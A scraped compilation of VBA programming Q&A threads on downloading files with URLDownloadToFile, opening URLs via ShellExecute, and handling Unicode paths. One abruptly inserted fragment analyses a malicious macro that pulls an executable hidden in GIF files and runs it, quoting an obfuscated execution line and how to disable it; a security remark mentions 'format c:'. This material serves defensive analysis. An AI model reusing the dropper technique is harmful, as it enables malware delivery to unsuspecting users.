Download file from website hyperlink in outlook - vba

So I used the following code to open a Hyperlink from an email. This hyperlink opens the webpage and opens the download window to choose where to download a CSV and with what name (all of this is in Chrome). I want to be able to choose where said file will be downloaded and with what name. I would really appreciate the help :)

I've looked in other sites, but couldn't find anything similar.

You can choose one of the following ways:
Use Windows API, see the URLDownloadToFile function:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
If Dir(LocalFileName) <> vbNullString Then
DownloadFile = True
End If
End If
End Function
Private Sub Form_Load()
If Not DownloadFile("http://www.test.come", "c:\\file.doc") Then
MsgBox "Unable to download the file, or the source URL doesn't exist."
End If
End Sub
Click buttons programmatically using Windows API functions, see VBA - Go to website and download file from save prompt for more infromation.

end of the macro
The comments are correct; the macro downloads malware/spyware and executes it.
It tries both GIF URLs (and even prompts the user to disable their firewall/AV if the download fails). The two GIFs are identical (same SHA256 checksum), they have the appropriate GIF header block ("GIF89a"), and they even have some of the bytes describing what should be the image data.
The macro uses the duwif() subroutine (line 105) to extract the executable binary from the downloaded GIF. It stores that binary in a temp file, the reference for which is created by the lwyfu() function (line 90).
The macro then executes the binary on line 82:
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
You can modify the macro to remove/comment the execution statement and insert something harmless. For example:
REM kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
MsgBox wyqud
This opens a message box with the path to the extracted binary instead of executing it.
The binary checksum is (SHA256)

Download to file and readystate = 4

I'm trying to write a code to download a very large file that, depending on bandwidth, may take 30 minutes to download. I have a very basic script now, that typically terminates before the file is completely downloaded. Is there a way to use readystate, or something similar, to make VBA allow the entire file to download before moving on?
Here's the code:
Sub Download()
Dim strURL As String
Dim strPath As String
'~~> URL of the Path
strURL = "http://www.aeronav.faa.gov/upload_313-/terminal/DDTPPE_201612.zip"
'~~> Destination for the file
strPath = "c:\Users\username\Desktop\WebTest\database.zip"
Ret = URLDownloadToFile(0, strURL, strPath, 0, 0)
End Sub
Thanks!
You can put your URL in a cell and run the script below.
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub DownloadFilefromWeb()
Dim strSavePath As String
Dim URL As String, ext As String
Dim buf, ret As Long
URL = Worksheets("Sheet1").Range("A2").Value
buf = Split(URL, ".")
ext = buf(UBound(buf))
strSavePath = "C:\Users\your_path_here\" & "DownloadedFile." & ext
ret = URLDownloadToFile(0, URL, strSavePath, 0, 0)
If ret = 0 Then
MsgBox "Download has been succeed!"
Else
MsgBox "Error"
End If
End Sub
That's if you want to loop through a range with many URLs. If you want to download just one, try it this way.
Declare Function URLDownloadToFileA Lib "urlmon" _
(ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Sub ExampleDownload()
Dim IExpl As Object
Set IExpl = CreateObject("InternetExplorer.Application")
With IExpl
.Navigate "http://www.bom.mu/?id=80277" 'You need to change this for a variable and loop
Do Until .Readystate = 4: Loop ' Allow page to load
'Code below to find correct href link in page based on text
For Each lnk In IExpl.Application.Document.Links
If lnk.outertext = "Click Here to Open or Right Click to Download." Then Exit For
Debug.Print lnk.outertext
Next
End With
SuccessfulDownload = URLDownloadToFileA(0, lnk.href, "C:\myfilename.zip", 0, 0)
Set IExpl = Nothing
End Sub
Or, try R, which is blazing fast!! In order to get your data to download and uncompress, you need to set mode="wb"
download.file("...",temp, mode="wb")
unzip(temp, "gbr_Country_en_csv_v2.csv")
dd <- read.table("gbr_Country_en_csv_v2.csv", sep=",",skip=2, header=T)
Then, simply read the CSV from your Excel tool.

VBA ShellExecute forces URL to lowercase

This used to work last week. I suspect a Windows update broke something. When using ShellExecute, it is forcing the URLs into lowercase, breaking parameter values passed to a case-sensitive server!
Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" ( _
ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
Optional ByVal lpParameters As String, _
Optional ByVal lpDirectory As String, _
Optional ByVal nShowCmd As Long _
) As Long
Sub OpenBrowser()
Let RetVal = ShellExecute(0, "open", "http://yaHOO.com?UPPERCASE=lowercase")
Will open http://www.yahoo.com/?uppercase=lowercase
Version
I'm using Windows 8.1. I tried it in 3 browsers. Lowercase in Chrome, lowercase in IE, and Opera chops off the query parameter, but the host is lowercase.
Ok I solved it by creating a temporary HTML file, finding the executable associated with that, then launching the executable directly with the URL. Sheesh.
Private Const SW_SHOW = 5 ' Displays Window in its current size and position

FileNumber = FreeFile ' Get unused file number
Open FileName For Output As #FileNumber ' Create temp HTML file
Write #FileNumber, "<HTML> <\HTML>" ' Output text
Close #FileNumber ' Close file
' Then find the application associated with it
RetVal = FindExecutable(FileName, Dummy, BrowserExec)
Kill FileName ' delete temp HTML file
BrowserExec = Trim(BrowserExec)
' If an application is found, launch it!
If RetVal <= 32 Or IsEmpty(BrowserExec) Then ' Error
MsgBox "Could not find associated Browser", vbExclamation, "Browser Not Found"
Else
RetVal = ShellExecute(0, "open", BrowserExec, "http://www.yaHOO.com?case=MATTERS", Dummy, SW_SHOWNORMAL)
If RetVal <= 32 Then ' Error
MsgBox "Web Page not Opened", vbExclamation, "URL Failed"
End If
End If
End Sub
Use FileProtocolHandler instead of ShellExecute:
Public Declare Function FileProtocolHandler Lib "url.dll" _
Alias "FileProtocolHandlerA" (ByVal hwnd As Long, ByVal hinst As Long, _
ByVal lpszCmdLine As String, ByVal nShowCmd As Long) As Long
Public Sub OpenHyperlink(ByVal Url)
FileProtocolHandler 0, 0, Url, 1
End Sub
With FileProtocolHandler, the lowercase conversion does not occur.
I have this problem under Windows 8.1, but not under Windows 7.
In my case using a temp ".html" file wasn't an option because those are linked to gedit so i can edit them.
I can't say if it works on the domain part, but i needed case sensitivity for the GET parameters.
I accomplished that by simple encoding everything in hex. Not just characters like "/" but everything.

Get full path with Unicode file name

I have a path in short version or in DOS format ("C:/DOCUME~1" e.g) and want to get the full path/long path of it ("C:/Documents And Settings" e.g).
I tried GetLongPathName api. It WORKED. But when deal with unicode filename it turns out failure.
Private Declare Function GetLongPathName Lib "kernel32" Alias _
"GetLongPathNameA" (ByVal lpszShortPath As String, _
ByVal lpszLongPath As String, ByVal cchBuffer As Long) As Long
I tried to alias GetLongPathNameW instead but it seems do nothing, for BOTH Unicode and non-Unicode filename, always return 0. In MSDN there's only article about GetLongPathNameW for C/C++, not any for VB/VBA. May I do something wrong?
Is there any solution for this case? I spend hours on Google and StackOverflow but can't find out.
Regards,
Does this work for you? I've converted the file path to short path name then converted it back again which gives the correct string even when unicode (eg C:/Tö+)
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" _
(ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal lBuffer As Long) As Long
Private Declare Function GetLongPathName Lib "kernel32" Alias "GetLongPathNameA" _
(ByVal lpszShortPath As String, ByVal lpszLongPath As String, ByVal cchBuffer As Long) As Long
Public Function GetShortPath(ByVal strFileName As String) As String
'KPD-Team 1999
'URL: [url]http://www.allapi.net/[/url]
'E-Mail: [email]KPDTeam#Allapi.net[/email]
Dim lngRes As Long, strPath As String
'Create a buffer
strPath = String$(165, 0)
'retrieve the short pathname
lngRes = GetShortPathName(strFileName, strPath, 164)
'remove all unnecessary chr$(0)'s
GetShortPath = Left$(strPath, lngRes)
End Function
Public Function GetLongPath(ByVal strFileName As String) As String
Dim lngRes As Long, strPath As String
'Create a buffer
strPath = String$(165, 0)
'retrieve the long pathname
lngRes = GetLongPathName(strFileName, strPath, 164)
'remove all unnecessary chr$(0)'s
GetLongPath = Left$(strPath, lngRes)
End Function
Private Sub Test()
shortpath = GetShortPath("C:/Documents And Settings")
Longpath = GetLongPath(shortpath)
End Sub
To use W-functions from vb6/vba, you declare all string parameters as long:
Private Declare Function GetLongPathName Lib "kernel32" Alias "GetLongPathNameW" _
(ByVal lpszShortPath As Long, _
ByVal lpszLongPath As Long, _
ByVal cchBuffer As Long) As Long
and pass StrPtr(a_string) instead of just a_string.
So if you had:
dim s_path as string
dim l_path as string
s_path = "C:\DOCUME~1"
l_path = string$(1024, vbnullchar)
GetLongPathNameA s_path, l_path, len(l_path)
it would become
dim s_path as string
dim l_path as string
s_path = "C:\DOCUME~1"
l_path = string$(1024, vbnullchar)
GetLongPathNameW strptr(s_path), strptr(l_path), len(l_path)

Open an html page in default browser with VBA?

How do I open an HTML page in the default browser with VBA? I know it's something like:
Shell "http://myHtmlPage.com"
But I think I have to reference the program which will open the page.
You can use the Windows API function ShellExecute to do so:
Option Explicit
Private Declare Function ShellExecute _
Lib "shell32.dll" Alias "ShellExecuteA" ( _
ByVal hWnd As Long, _
ByVal Operation As String, _
ByVal Filename As String, _
Optional ByVal Parameters As String, _
Optional ByVal Directory As String, _
Optional ByVal WindowStyle As Long = vbMinimizedFocus _
) As Long
Public Sub OpenUrl()
Dim lSuccess As Long
lSuccess = ShellExecute(0, "Open", "www.google.com")
End Sub
As given in comment, to make it work in 64-bit, you need add PtrSafe in the Private Declare Line as shown below:
Private Declare PtrSafe Function ShellExecute _
Just a short remark concerning security: If the URL comes from user input make sure to strictly validate that input as ShellExecute would execute any command with the user's permissions, also a format c: would be executed if the user is an administrator.
You can even say:
FollowHyperlink "www.google.com"
If you get Automation Error then use http://:
ThisWorkbook.FollowHyperlink("http://www.google.com")
If you want a more robust solution with ShellExecute that will open ANY file, folder or URL using the default OS associated program to do so, here is a function taken from http://access.mvps.org/access/api/api0018.htm:

Just put this into a separate module and call fHandleFile() with the right parameters.
I find the most simple is
shell "explorer.exe URL"
This also works to open local folders.
You need to call ShellExecute.
